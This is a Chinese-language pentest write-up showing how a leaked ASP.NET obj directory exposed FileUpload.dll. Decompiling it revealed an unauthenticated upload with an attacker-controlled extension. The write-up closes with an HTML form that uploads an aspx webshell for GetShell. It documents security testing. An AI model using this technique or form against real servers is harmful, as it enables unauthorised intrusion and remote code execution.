某测试端口的.net-Web-Demo-功能到GetShell
2022-03-20 23:17:19

0x00 前言

项目中碰到了一个端口存在目录遍历,比较运气的是泄漏了ASP.NET的obj目录,最终找到了Web功能模块的DLL,实现了未授权的文件上传GetShell。

0x01 过程

在发现了这个端口存在目录遍历的时候,尝试访问页面发现了当前目录是一个CSharp的工程项目。可以看到比较清晰的目录结构。

image-20220320222846938

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 2019/5/20    19:33        <dir> bin
2018/6/20 13:42 115 FileUpload.aspx
2019/5/21 15:36 2832 FileUpload.aspx.cs
2018/6/20 13:42 455 FileUpload.aspx.designer.cs
2018/6/20 13:42 7506 FileUpload.csproj
2018/8/29 9:57 255 FileUpload.csproj.user
2018/6/20 13:42 257 FileUpload.csproj.vspscc
2021/10/22 13:54 <dir> FileUploader
2018/6/20 14:32 <dir> obj
2018/6/20 13:42 321 packages.config
2018/6/20 13:42 <dir> Properties
2022/3/1 18:14 <dir> UpLoadFile
2021/9/10 9:11 1528 Web.config
2018/6/20 13:42 1246 Web.Debug.config
2018/6/20 13:42 1307 Web.Release.config

如果直接访问FileUpload.aspx并不能得到除了物理路径之外有效的信息。

image-20220320223113704

如果了解ASP.NET的项目目录结构,就会知道,obj和bin是csharp项目的两个重要的配置目录,可能包含了项目的编译后链接库文件,或者pdb等信息。

1.ASP.NET 的某些基本目录结构

目录 说明
obj obj 目录包括项目运行需要引用的一些类、方法和接口
bin bin 目录是项目程序目录,包括运行时配置文件等等

直接访问bin,这里被限制了访问。

image-20220320223416962

而访问obj目录,就找到了一个FileUpload.dll。与FileUpload.aspx同名。那么就大概率是他的动态链接库,csharp的文件可以直接反编译看到源码,这样我们直接审计存不存在漏洞。

image-20220320223610457

2.dnSpy反编译加审计

通过导入dnSpy,直接看到功能模块源码,在FileUpload类,看到三个可控的参数ExtName、ExtName、DicName。

image-20220320224058524

在关键代码第51行,第54行,也可以看到直接构造文件上传表单,在text5的目录下,直接保存文件,整个过程也没有鉴权,可以直接未授权构造文件上传。

而ExtName传入给text2,最后是我们可控的文件后缀名,最终可以直接上传aspx马。

image-20220320225926899

image-20220320224302701

3.测试

这里直接构造了请求表单。

1
2
3
4
5
6
7
<html>
<body>
<form action="http://xxxxxxxxxxx/FileUpload.aspx?ExtName=aspx&CorpId=1&DicName=1" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" ></input>
</body>
</html>

image-20220320230706843

成功。

0x02 总结

这里其实挺简单的。就是简单的信息收集到简单的代码审计,到getshell,主要记录下ASP.NET的目录信息泄露。